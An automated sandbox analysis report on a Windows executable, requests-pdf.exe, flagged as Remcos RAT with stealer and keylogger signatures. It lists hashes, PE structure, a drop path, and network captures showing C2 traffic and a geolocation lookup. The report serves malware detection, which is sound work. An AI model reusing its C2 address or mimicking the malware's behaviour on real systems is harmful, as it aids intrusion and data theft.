                                                  Preview:{. "geoplugin_request":"8.46.123.189",. "geoplugin_status":200,. "geoplugin_delay":"2ms",. "geoplugin_credit":"Some of the returned data includes GeoLite2 data created by MaxMind, available from <a href='https:\/\/www.maxmind.com'>https:\/\/www.maxmind.com<\/a>.",. "geoplugin_city":"New York",. "geoplugin_region":"New York",. "geoplugin_regionCode":"NY",. "geoplugin_regionName":"New York",. "geoplugin_areaCode":"",. "geoplugin_dmaCode":"501",. "geoplugin_countryCode":"US",. "geoplugin_countryName":"United States",. "geoplugin_inEU":0,. "geoplugin_euVATrate":false,. "geoplugin_continentCode":"NA",. "geoplugin_continentName":"North America",. "geoplugin_latitude":"40.7503",. "geoplugin_longitude":"-74.0014",. "geoplugin_locationAccuracyRadius":"20",. "geoplugin_timezone":"America\/New_York",. "geoplugin_currencyCode":"USD",. "geoplugin_currencySymbol":"$",. "geoplugin_currencySymbol_UTF8":"$",. "geoplugin_currencyConverter":0.}

                                                  C:\Users\user\AppData\Roaming\xenor\yavascript.exe

                                                  Download File
                                                  Process:C:\Users\user\Desktop\requests-pdf.exe
                                                  File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                  Category:dropped
                                                  Size (bytes):485888
                                                  Entropy (8bit):7.009553111842917
                                                  Encrypted:false
                                                  SSDEEP:6144:w5C+1+ZjpLnXIc5qM2ssBvQvSDfMe9v5lxtJQwNbG1Aflpw4CWffeM:w5C+I5JnYSidt3DPNbG1ENCWZ
                                                  MD5:36C9BB380D71F7AD243B57C522FC2768
                                                  SHA1:EF2EB660D985BFB693FCDB5B81C3CCFFB9763646
                                                  SHA-256:0E184EDAC45DDEAF7CA4681B65E7B4ACCAFB6705032FAF6D2F6A61D2EF6D1DED
                                                  SHA-512:E28112D772DBACFAE29DE2B6B866F51ECAD05278C2DC2A87BC73C6817A0C5DB8310BEA2DE7B22A05A69A529858BDC5EAE0537F9EC4238E9D8BC7E37E84678E0F
                                                  Malicious:true
                                                  Antivirus:
                                                  • Antivirus: ReversingLabs, Detection: 55%
                                                  • Antivirus: Virustotal, Detection: 51%, Browse
                                                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......0M..t,x.t,x.t,x..c..u,x.j~..j,x.j~..`,x.j~...,x.S...},x.t,y..,x.j~..u,x.j~..u,x.j~..u,x.Richt,x.................PE..L.....of.................t...X?...................@...........................D.....]...........................................P....pC..^..........................................................X...@............................................text....r.......t.................. ..`.rdata...!......."...x..............@..@.data...HU=......,..................@....tls.....C... C..D..................@....rsrc....^...pC..`..................@..@........................................................................................................................................................................................................................................................................................................................

                                                  C:\Users\user\AppData\Roaming\xenor\yavascript.exe:Zone.Identifier

                                                  Download File
                                                  Process:C:\Users\user\Desktop\requests-pdf.exe
                                                  File Type:ASCII text, with CRLF line terminators
                                                  Category:modified
                                                  Size (bytes):26
                                                  Entropy (8bit):3.95006375643621
                                                  Encrypted:false
                                                  SSDEEP:3:ggPYV:rPYV
                                                  MD5:187F488E27DB4AF347237FE461A079AD
                                                  SHA1:6693BA299EC1881249D59262276A0D2CB21F8E64
                                                  SHA-256:255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
                                                  SHA-512:89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
                                                  Malicious:true
                                                  Preview:[ZoneTransfer]....ZoneId=0

                                                  C:\Windows\appcompat\Programs\Amcache.hve

                                                  Download File
                                                  Process:C:\Windows\SysWOW64\WerFault.exe
                                                  File Type:MS Windows registry file, NT/2000 or above
                                                  Category:dropped
                                                  Size (bytes):1835008
                                                  Entropy (8bit):4.424210264850656
                                                  Encrypted:false
                                                  SSDEEP:6144:jSvfpi6ceLP/9skLmb0OTsWSPHaJG8nAgeMZMMhA2fX4WABlEnNv0uhiTw:uvloTsW+EZMM6DFyB03w
                                                  MD5:1168EC5368B9A3F7D672EF8FC46B78A7
                                                  SHA1:8B1137F4CCE450F7454FADB85F5502078A080ACC
                                                  SHA-256:F1D9070C59D02C2561790E49EA17FA2C441438A56CC512034A72343902673A3E
                                                  SHA-512:8A8976842F1505A5978BBC462EE9272C7CB772E92326BB6E1F89A91E61DF45F179EF0E39152ADA4930F32D38FAD7670556B24B20319C3EA33AB15A16BBB02384
                                                  Malicious:false
                                                  Preview:regfD...D....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm..Z.%N..............................................................................................................................................................................................................................................................................................................................................)2M1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                  Static File Info

                                                  General

                                                  File type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                  Entropy (8bit):7.009553111842917
                                                  TrID:
                                                  • Win32 Executable (generic) a (10002005/4) 99.96%
                                                  • Generic Win/DOS Executable (2004/3) 0.02%
                                                  • DOS Executable Generic (2002/1) 0.02%
                                                  • Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
                                                  File name:requests-pdf.exe
                                                  File size:485'888 bytes
                                                  MD5:36c9bb380d71f7ad243b57c522fc2768
                                                  SHA1:ef2eb660d985bfb693fcdb5b81c3ccffb9763646
                                                  SHA256:0e184edac45ddeaf7ca4681b65e7b4accafb6705032faf6d2f6a61d2ef6d1ded
                                                  SHA512:e28112d772dbacfae29de2b6b866f51ecad05278c2dc2a87bc73c6817a0c5db8310bea2de7b22a05a69a529858bdc5eae0537f9ec4238e9d8bc7e37e84678e0f
                                                  SSDEEP:6144:w5C+1+ZjpLnXIc5qM2ssBvQvSDfMe9v5lxtJQwNbG1Aflpw4CWffeM:w5C+I5JnYSidt3DPNbG1ENCWZ
                                                  TLSH:75A4D09292E0A860F6B64B309D3DBFD066BFB9624D28724D2654761F19B11E2C133F0F
                                                  File Content Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......0M..t,x.t,x.t,x..c..u,x.j~..j,x.j~..`,x.j~...,x.S...},x.t,y..,x.j~..u,x.j~..u,x.j~..u,x.Richt,x.................PE..L.....of...

                                                  File Icon

                                                  Icon Hash:8696e161f0b2c040

                                                  Static PE Info

                                                  General

                                                  Entrypoint:0x4017d8
                                                  Entrypoint Section:.text
                                                  Digitally signed:false
                                                  Imagebase:0x400000
                                                  Subsystem:windows gui
                                                  Image File Characteristics:RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE
                                                  DLL Characteristics:TERMINAL_SERVER_AWARE
                                                  Time Stamp:0x666FBA92 [Mon Jun 17 04:24:50 2024 UTC]
                                                  TLS Callbacks:
                                                  CLR (.Net) Version:
                                                  OS Version Major:5
                                                  OS Version Minor:0
                                                  File Version Major:5
                                                  File Version Minor:0
                                                  Subsystem Version Major:5
                                                  Subsystem Version Minor:0
                                                  Import Hash:8426324eca00881188782897d3afc773

                                                  Entrypoint Preview

                                                  Instruction
                                                  call 00007F3F38E74342h
                                                  jmp 00007F3F38E7178Dh
                                                  mov edi, edi
                                                  push ebp
                                                  mov ebp, esp
                                                  sub esp, 00000328h
                                                  mov dword ptr [0045EC18h], eax
                                                  mov dword ptr [0045EC14h], ecx
                                                  mov dword ptr [0045EC10h], edx
                                                  mov dword ptr [0045EC0Ch], ebx
                                                  mov dword ptr [0045EC08h], esi
                                                  mov dword ptr [0045EC04h], edi
                                                  mov word ptr [0045EC30h], ss
                                                  mov word ptr [0045EC24h], cs
                                                  mov word ptr [0045EC00h], ds
                                                  mov word ptr [0045EBFCh], es
                                                  mov word ptr [0045EBF8h], fs
                                                  mov word ptr [0045EBF4h], gs
                                                  pushfd
                                                  pop dword ptr [0045EC28h]
                                                  mov eax, dword ptr [ebp+00h]
                                                  mov dword ptr [0045EC1Ch], eax
                                                  mov eax, dword ptr [ebp+04h]
                                                  mov dword ptr [0045EC20h], eax
                                                  lea eax, dword ptr [ebp+08h]
                                                  mov dword ptr [0045EC2Ch], eax
                                                  mov eax, dword ptr [ebp-00000320h]
                                                  mov dword ptr [0045EB68h], 00010001h
                                                  mov eax, dword ptr [0045EC20h]
                                                  mov dword ptr [0045EB1Ch], eax
                                                  mov dword ptr [0045EB10h], C0000409h
                                                  mov dword ptr [0045EB14h], 00000001h
                                                  mov eax, dword ptr [0045C004h]
                                                  mov dword ptr [ebp-00000328h], eax
                                                  mov eax, dword ptr [0045C008h]
                                                  mov dword ptr [ebp-00000324h], eax
                                                  call dword ptr [000000B4h]

                                                  Rich Headers

                                                  Programming Language:
                                                  • [C++] VS2008 build 21022
                                                  • [ASM] VS2008 build 21022
                                                  • [ C ] VS2008 build 21022
                                                  • [IMP] VS2005 build 50727
                                                  • [RES] VS2008 build 21022
                                                  • [LNK] VS2008 build 21022

                                                  Data Directories

                                                  NameVirtual AddressVirtual Size Is in Section
                                                  IMAGE_DIRECTORY_ENTRY_EXPORT0x00x0
                                                  IMAGE_DIRECTORY_ENTRY_IMPORT0x5a91c0x50.rdata
                                                  IMAGE_DIRECTORY_ENTRY_RESOURCE0x4370000x15e88.rsrc
                                                  IMAGE_DIRECTORY_ENTRY_EXCEPTION0x00x0
                                                  IMAGE_DIRECTORY_ENTRY_SECURITY0x00x0
                                                  IMAGE_DIRECTORY_ENTRY_BASERELOC0x00x0
                                                  IMAGE_DIRECTORY_ENTRY_DEBUG0x00x0
                                                  IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
                                                  IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
                                                  IMAGE_DIRECTORY_ENTRY_TLS0x5a4a00x18.rdata
                                                  IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0x5a4580x40.rdata
                                                  IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
                                                  IMAGE_DIRECTORY_ENTRY_IAT0x590000x188.rdata
                                                  IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x00x0
                                                  IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x00x0
                                                  IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0

                                                  Sections

                                                  NameVirtual AddressVirtual SizeRaw SizeMD5Xored PEZLIB ComplexityFile TypeEntropyCharacteristics
                                                  .text0x10000x572ec0x574004595d75267be45a30fb1f14c991e944eFalse0.8572176083452722data7.595819236956853IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                                                  .rdata0x590000x21fc0x22004311dd0823ac76d9e8031d00f520c10cFalse0.3659237132352941data5.5673247063831175IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                  .data0x5c0000x3d55480x2c00fb9cee3dc9619e4312b0dcb1047f661cunknownunknownunknownunknownIMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                  .tls0x4320000x439d0x440057af5ba53aef63ff0feb609acb54e33bFalse0.002470128676470588data0.0008921252552643771IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                  .rsrc0x4370000x15e880x16000b6e74a65375d742a862bcebd1f514d6fFalse0.4397305575284091data5.134459063045454IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

                                                  Resources

                                                  NameRVASizeTypeLanguageCountryZLIB Complexity
                                                  RT_CURSOR0x448b200xea8Device independent bitmap graphic, 48 x 96 x 8, image size 00.31023454157782515
                                                  RT_ICON0x4378100xea8Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colorsTurkmenTurkmenistan0.3296908315565032
                                                  RT_ICON0x4386b80x8a8Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colorsTurkmenTurkmenistan0.3935018050541516
                                                  RT_ICON0x438f600x6c8Device independent bitmap graphic, 24 x 48 x 8, image size 576, 256 important colorsTurkmenTurkmenistan0.3945852534562212
                                                  RT_ICON0x4396280x568Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colorsTurkmenTurkmenistan0.4031791907514451
                                                  RT_ICON0x439b900x25a8Device independent bitmap graphic, 48 x 96 x 32, image size 9600TurkmenTurkmenistan0.22074688796680497
                                                  RT_ICON0x43c1380x10a8Device independent bitmap graphic, 32 x 64 x 32, image size 4224TurkmenTurkmenistan0.24835834896810507
                                                  RT_ICON0x43d1e00x988Device independent bitmap graphic, 24 x 48 x 32, image size 2400TurkmenTurkmenistan0.2778688524590164
                                                  RT_ICON0x43db680x468Device independent bitmap graphic, 16 x 32 x 32, image size 1088TurkmenTurkmenistan0.30319148936170215
                                                  RT_ICON0x43e0480xea8Device independent bitmap graphic, 48 x 96 x 8, image size 0TurkmenTurkmenistan0.35767590618336886
                                                  RT_ICON0x43eef00x8a8Device independent bitmap graphic, 32 x 64 x 8, image size 0TurkmenTurkmenistan0.5013537906137184
                                                  RT_ICON0x43f7980x6c8Device independent bitmap graphic, 24 x 48 x 8, image size 0TurkmenTurkmenistan0.576036866359447
                                                  RT_ICON0x43fe600x568Device independent bitmap graphic, 16 x 32 x 8, image size 0TurkmenTurkmenistan0.615606936416185
                                                  RT_ICON0x4403c80x10a8Device independent bitmap graphic, 32 x 64 x 32, image size 0TurkmenTurkmenistan0.3468574108818011
                                                  RT_ICON0x4414700x988Device independent bitmap graphic, 24 x 48 x 32, image size 0TurkmenTurkmenistan0.3454918032786885
                                                  RT_ICON0x441df80x468Device independent bitmap graphic, 16 x 32 x 32, image size 0TurkmenTurkmenistan0.3953900709219858
                                                  RT_ICON0x4422c80xea8Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colorsTurkmenTurkmenistan0.6657782515991472
                                                  RT_ICON0x4431700x8a8Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colorsTurkmenTurkmenistan0.6565884476534296
                                                  RT_ICON0x443a180x6c8Device independent bitmap graphic, 24 x 48 x 8, image size 576, 256 important colorsTurkmenTurkmenistan0.5316820276497696
                                                  RT_ICON0x4440e00x568Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colorsTurkmenTurkmenistan0.6127167630057804
                                                  RT_ICON0x4446480x25a8Device independent bitmap graphic, 48 x 96 x 32, image size 9216TurkmenTurkmenistan0.595643153526971
                                                  RT_ICON0x446bf00x10a8Device independent bitmap graphic, 32 x 64 x 32, image size 4096TurkmenTurkmenistan0.6278142589118199
                                                  RT_ICON0x447c980x988Device independent bitmap graphic, 24 x 48 x 32, image size 2304TurkmenTurkmenistan0.6344262295081967
                                                  RT_ICON0x4486200x468Device independent bitmap graphic, 16 x 32 x 32, image size 1024TurkmenTurkmenistan0.6560283687943262
                                                  RT_STRING0x449b980x47adata0.4424083769633508
                                                  RT_STRING0x44a0180xc8data0.57
                                                  RT_STRING0x44a0e00x6a8data0.43133802816901406
                                                  RT_STRING0x44a7880x600data0.4303385416666667
                                                  RT_STRING0x44ad880x802data0.41804878048780486
                                                  RT_STRING0x44b5900x75edata0.4268292682926829
                                                  RT_STRING0x44bcf00x56cdata0.4546109510086455
                                                  RT_STRING0x44c2600x6cedata0.4293915040183697
                                                  RT_STRING0x44c9300x556data0.44363103953147875
                                                  RT_ACCELERATOR0x448b000x20data1.15625
                                                  RT_GROUP_CURSOR0x4499c80x14data1.25
                                                  RT_GROUP_ICON0x448a880x76dataTurkmenTurkmenistan0.6694915254237288
                                                  RT_GROUP_ICON0x4422600x68dataTurkmenTurkmenistan0.7115384615384616
                                                  RT_GROUP_ICON0x43dfd00x76dataTurkmenTurkmenistan0.6610169491525424
                                                  RT_VERSION0x4499e00x1b4data0.5688073394495413

                                                  Imports

                                                  DLLImport
                                                  KERNEL32.dllSetDefaultCommConfigA, GetNumaProcessorNode, UpdateResourceA, DeleteVolumeMountPointA, InterlockedIncrement, InterlockedDecrement, SetComputerNameW, GetProcessPriorityBoost, GetModuleHandleW, GetEnvironmentStrings, LoadLibraryW, GetVersionExW, GetTimeFormatW, GetConsoleAliasW, GetFileAttributesW, GetStartupInfoA, SetLastError, GetProcAddress, UnregisterWait, BuildCommDCBW, ResetEvent, LoadLibraryA, Process32Next, LocalAlloc, GetFileType, AddAtomW, FoldStringW, GetModuleFileNameA, GetModuleHandleA, SetLocaleInfoW, OpenFileMappingW, WriteConsoleOutputAttribute, WriteProcessMemory, SetFileAttributesA, GetCommandLineW, CreateFileA, WriteConsoleW, MultiByteToWideChar, GetCommandLineA, TerminateProcess, GetCurrentProcess, UnhandledExceptionFilter, SetUnhandledExceptionFilter, IsDebuggerPresent, EnterCriticalSection, LeaveCriticalSection, SetHandleCount, GetStdHandle, DeleteCriticalSection, TlsGetValue, TlsAlloc, TlsSetValue, TlsFree, GetCurrentThreadId, GetLastError, Sleep, HeapSize, ExitProcess, GetCPInfo, GetACP, GetOEMCP, IsValidCodePage, WriteFile, FreeEnvironmentStringsA, FreeEnvironmentStringsW, WideCharToMultiByte, GetEnvironmentStringsW, HeapCreate, VirtualFree, HeapFree, QueryPerformanceCounter, GetTickCount, GetCurrentProcessId, GetSystemTimeAsFileTime, ReadFile, InitializeCriticalSectionAndSpinCount, RtlUnwind, HeapAlloc, HeapReAlloc, VirtualAlloc, LCMapStringA, LCMapStringW, GetStringTypeA, GetStringTypeW, GetLocaleInfoA, GetConsoleCP, GetConsoleMode, FlushFileBuffers, SetFilePointer, SetStdHandle, CloseHandle, WriteConsoleA, GetConsoleOutputCP
                                                  USER32.dllGetProcessDefaultLayout
                                                  GDI32.dllGetBitmapBits

                                                  Possible Origin

                                                  Language of compilation systemCountry where language is spokenMap
                                                  TurkmenTurkmenistan

                                                  Network Behavior

                                                  Suricata IDS Alerts

                                                  TimestampSIDSignatureSeveritySource IPSource PortDest IPDest PortProtocol
                                                  2024-12-14T13:38:14.855198+01002036594ET JA3 Hash - Remcos 3.x/4.x TLS Connection1192.168.2.549705198.23.227.21232583TCP
                                                  2024-12-14T13:38:24.381407+01002803304ETPRO MALWARE Common Downloader Header Pattern HCa3192.168.2.549714178.237.33.5080TCP

                                                  Network Port Distribution

                                                  TCP Packets

                                                  TimestampSource PortDest PortSource IPDest IP
                                                  Dec 14, 2024 13:38:13.412894011 CET4970532583192.168.2.5198.23.227.212
                                                  Dec 14, 2024 13:38:13.532749891 CET3258349705198.23.227.212192.168.2.5
                                                  Dec 14, 2024 13:38:13.532855034 CET4970532583192.168.2.5198.23.227.212
                                                  Dec 14, 2024 13:38:14.428426027 CET4970532583192.168.2.5198.23.227.212
                                                  Dec 14, 2024 13:38:14.549089909 CET3258349705198.23.227.212192.168.2.5
                                                  Dec 14, 2024 13:38:14.813069105 CET3258349705198.23.227.212192.168.2.5
                                                  Dec 14, 2024 13:38:14.855197906 CET4970532583192.168.2.5198.23.227.212
                                                  Dec 14, 2024 13:38:15.046830893 CET3258349705198.23.227.212192.168.2.5
                                                  Dec 14, 2024 13:38:15.051357985 CET4970532583192.168.2.5198.23.227.212
                                                  Dec 14, 2024 13:38:15.171566010 CET3258349705198.23.227.212192.168.2.5
                                                  Dec 14, 2024 13:38:15.171669960 CET4970532583192.168.2.5198.23.227.212
                                                  Dec 14, 2024 13:38:15.292049885 CET3258349705198.23.227.212192.168.2.5
                                                  Dec 14, 2024 13:38:15.556041956 CET3258349705198.23.227.212192.168.2.5
                                                  Dec 14, 2024 13:38:15.652086973 CET4970532583192.168.2.5198.23.227.212
                                                  Dec 14, 2024 13:38:15.747989893 CET3258349705198.23.227.212192.168.2.5
                                                  Dec 14, 2024 13:38:15.792712927 CET4970532583192.168.2.5198.23.227.212
                                                  Dec 14, 2024 13:38:16.052474976 CET4970532583192.168.2.5198.23.227.212
                                                  Dec 14, 2024 13:38:16.174034119 CET3258349705198.23.227.212192.168.2.5
                                                  Dec 14, 2024 13:38:23.010266066 CET4971480192.168.2.5178.237.33.50
                                                  Dec 14, 2024 13:38:23.130260944 CET8049714178.237.33.50192.168.2.5
                                                  Dec 14, 2024 13:38:23.130456924 CET4971480192.168.2.5178.237.33.50
                                                  Dec 14, 2024 13:38:23.130544901 CET4971480192.168.2.5178.237.33.50
                                                  Dec 14, 2024 13:38:23.250487089 CET8049714178.237.33.50192.168.2.5
                                                  Dec 14, 2024 13:38:23.905713081 CET3258349705198.23.227.212192.168.2.5
                                                  Dec 14, 2024 13:38:24.089715004 CET4970532583192.168.2.5198.23.227.212
                                                  Dec 14, 2024 13:38:24.325264931 CET4970532583192.168.2.5198.23.227.212
                                                  Dec 14, 2024 13:38:24.381174088 CET8049714178.237.33.50192.168.2.5
                                                  Dec 14, 2024 13:38:24.381407022 CET4971480192.168.2.5178.237.33.50
                                                  Dec 14, 2024 13:38:24.445916891 CET3258349705198.23.227.212192.168.2.5
                                                  Dec 14, 2024 13:38:24.802267075 CET4970532583192.168.2.5198.23.227.212
                                                  Dec 14, 2024 13:38:24.922151089 CET3258349705198.23.227.212192.168.2.5
                                                  Dec 14, 2024 13:38:25.381089926 CET8049714178.237.33.50192.168.2.5
                                                  Dec 14, 2024 13:38:25.381267071 CET4971480192.168.2.5178.237.33.50
                                                  Dec 14, 2024 13:38:54.057769060 CET3258349705198.23.227.212192.168.2.5
                                                  Dec 14, 2024 13:38:54.105330944 CET4970532583192.168.2.5198.23.227.212
                                                  Dec 14, 2024 13:38:54.424215078 CET4970532583192.168.2.5198.23.227.212
                                                  Dec 14, 2024 13:38:54.544156075 CET3258349705198.23.227.212192.168.2.5
                                                  Dec 14, 2024 13:39:25.814322948 CET3258349705198.23.227.212192.168.2.5
                                                  Dec 14, 2024 13:39:25.855360985 CET4970532583192.168.2.5198.23.227.212
                                                  Dec 14, 2024 13:39:26.292330027 CET4970532583192.168.2.5198.23.227.212
                                                  Dec 14, 2024 13:39:26.413047075 CET3258349705198.23.227.212192.168.2.5
                                                  Dec 14, 2024 13:39:55.951328993 CET3258349705198.23.227.212192.168.2.5
                                                  Dec 14, 2024 13:39:56.152143955 CET4970532583192.168.2.5198.23.227.212
                                                  Dec 14, 2024 13:39:56.641757965 CET4970532583192.168.2.5198.23.227.212
                                                  Dec 14, 2024 13:39:56.761583090 CET3258349705198.23.227.212192.168.2.5
                                                  Dec 14, 2024 13:40:11.886921883 CET4971480192.168.2.5178.237.33.50
                                                  Dec 14, 2024 13:40:12.224796057 CET4971480192.168.2.5178.237.33.50
                                                  Dec 14, 2024 13:40:12.839791059 CET4971480192.168.2.5178.237.33.50
                                                  Dec 14, 2024 13:40:14.042781115 CET4971480192.168.2.5178.237.33.50
                                                  Dec 14, 2024 13:40:16.449038982 CET4971480192.168.2.5178.237.33.50
                                                  Dec 14, 2024 13:40:21.261562109 CET4971480192.168.2.5178.237.33.50
                                                  Dec 14, 2024 13:40:26.104949951 CET3258349705198.23.227.212192.168.2.5
                                                  Dec 14, 2024 13:40:26.152270079 CET4970532583192.168.2.5198.23.227.212
                                                  Dec 14, 2024 13:40:26.429202080 CET4970532583192.168.2.5198.23.227.212
                                                  Dec 14, 2024 13:40:26.549978018 CET3258349705198.23.227.212192.168.2.5
                                                  Dec 14, 2024 13:40:30.870919943 CET4971480192.168.2.5178.237.33.50
                                                  Dec 14, 2024 13:40:56.200529099 CET3258349705198.23.227.212192.168.2.5
                                                  Dec 14, 2024 13:40:56.433459044 CET4970532583192.168.2.5198.23.227.212
                                                  Dec 14, 2024 13:40:56.532447100 CET4970532583192.168.2.5198.23.227.212
                                                  Dec 14, 2024 13:40:56.652506113 CET3258349705198.23.227.212192.168.2.5
                                                  Dec 14, 2024 13:41:26.301219940 CET3258349705198.23.227.212192.168.2.5
                                                  Dec 14, 2024 13:41:26.355510950 CET4970532583192.168.2.5198.23.227.212
                                                  Dec 14, 2024 13:41:26.939904928 CET4970532583192.168.2.5198.23.227.212
                                                  Dec 14, 2024 13:41:27.059900045 CET3258349705198.23.227.212192.168.2.5
                                                  Dec 14, 2024 13:41:56.416203976 CET3258349705198.23.227.212192.168.2.5
                                                  Dec 14, 2024 13:41:56.496064901 CET4970532583192.168.2.5198.23.227.212
                                                  Dec 14, 2024 13:41:56.739990950 CET4970532583192.168.2.5198.23.227.212
                                                  Dec 14, 2024 13:41:56.861290932 CET3258349705198.23.227.212192.168.2.5

                                                  UDP Packets

                                                  TimestampSource PortDest PortSource IPDest IP
                                                  Dec 14, 2024 13:38:22.783464909 CET6194853192.168.2.51.1.1.1
                                                  Dec 14, 2024 13:38:23.004926920 CET53619481.1.1.1192.168.2.5

                                                  DNS Queries

                                                  TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                                                  Dec 14, 2024 13:38:22.783464909 CET192.168.2.51.1.1.10xfe6cStandard query (0)geoplugin.netA (IP address)IN (0x0001)false

                                                  DNS Answers

                                                  TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                                                  Dec 14, 2024 13:38:23.004926920 CET1.1.1.1192.168.2.50xfe6cNo error (0)geoplugin.net178.237.33.50A (IP address)IN (0x0001)false

                                                  HTTP Request Dependency Graph

                                                  • geoplugin.net

                                                  HTTP Packets

                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                  0192.168.2.549714178.237.33.50807780C:\Users\user\AppData\Roaming\xenor\yavascript.exe
                                                  TimestampBytes transferredDirectionData
                                                  Dec 14, 2024 13:38:23.130544901 CET71OUTGET /json.gp HTTP/1.1
                                                  Host: geoplugin.net
                                                  Cache-Control: no-cache
                                                  Dec 14, 2024 13:38:24.381174088 CET1171INHTTP/1.1 200 OK
                                                  date: Sat, 14 Dec 2024 12:38:24 GMT
                                                  server: Apache
                                                  content-length: 963
                                                  content-type: application/json; charset=utf-8
                                                  cache-control: public, max-age=300
                                                  access-control-allow-origin: *
                                                  Data Raw: 7b 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 72 65 71 75 65 73 74 22 3a 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 73 74 61 74 75 73 22 3a 32 30 30 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 64 65 6c 61 79 22 3a 22 32 6d 73 22 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 63 72 65 64 69 74 22 3a 22 53 6f 6d 65 20 6f 66 20 74 68 65 20 72 65 74 75 72 6e 65 64 20 64 61 74 61 20 69 6e 63 6c 75 64 65 73 20 47 65 6f 4c 69 74 65 32 20 64 61 74 61 20 63 72 65 61 74 65 64 20 62 79 20 4d 61 78 4d 69 6e 64 2c 20 61 76 61 69 6c 61 62 6c 65 20 66 72 6f 6d 20 3c 61 20 68 72 65 66 3d 27 68 74 74 70 73 3a 5c 2f 5c 2f 77 77 77 2e 6d 61 78 6d 69 6e 64 2e 63 6f 6d 27 3e 68 74 74 70 73 3a 5c 2f 5c 2f 77 77 77 2e 6d 61 78 6d 69 6e 64 2e 63 6f 6d 3c 5c 2f 61 3e 2e 22 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 63 69 74 79 22 3a 22 4e 65 77 20 59 6f 72 6b 22 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 72 65 67 69 6f 6e 22 3a 22 4e 65 77 20 59 6f 72 6b 22 2c 0a 20 20 22 67 65 [TRUNCATED]
                                                  Data Ascii: { "geoplugin_request":"8.46.123.189", "geoplugin_status":200, "geoplugin_delay":"2ms", "geoplugin_credit":"Some of the returned data includes GeoLite2 data created by MaxMind, available from <a href='https:\/\/www.maxmind.com'>https:\/\/www.maxmind.com<\/a>.", "geoplugin_city":"New York", "geoplugin_region":"New York", "geoplugin_regionCode":"NY", "geoplugin_regionName":"New York", "geoplugin_areaCode":"", "geoplugin_dmaCode":"501", "geoplugin_countryCode":"US", "geoplugin_countryName":"United States", "geoplugin_inEU":0, "geoplugin_euVATrate":false, "geoplugin_continentCode":"NA", "geoplugin_continentName":"North America", "geoplugin_latitude":"40.7503", "geoplugin_longitude":"-74.0014", "geoplugin_locationAccuracyRadius":"20", "geoplugin_timezone":"America\/New_York", "geoplugin_currencyCode":"USD", "geoplugin_currencySymbol":"$", "geoplugin_currencySymbol_UTF8":"$", "geoplugin_currencyConverter":0}


                                                  Statistics

                                                  CPU Usage

                                                  Click to jump to process

                                                  Memory Usage

                                                  Click to jump to process

                                                  High Level Behavior Distribution

                                                  Click to dive into process behavior distribution

                                                  Behavior

                                                  Click to jump to process

                                                  System Behavior

                                                  General

                                                  Target ID:0
                                                  Start time:07:38:02
                                                  Start date:14/12/2024
                                                  Path:C:\Users\user\Desktop\requests-pdf.exe
                                                  Wow64 process (32bit):true
                                                  Commandline:"C:\Users\user\Desktop\requests-pdf.exe"
                                                  Imagebase:0x400000
                                                  File size:485'888 bytes
                                                  MD5 hash:36C9BB380D71F7AD243B57C522FC2768
                                                  Has elevated privileges:true
                                                  Has administrator privileges:true
                                                  Programmed in:C, C++ or other language
                                                  Yara matches:
                                                  • Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000000.00000002.2432647777.0000000000A98000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                  • Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000000.00000002.2432620205.0000000000A4A000.00000040.00000020.00020000.00000000.sdmp, Author: unknown
                                                  • Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security
                                                  • Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security
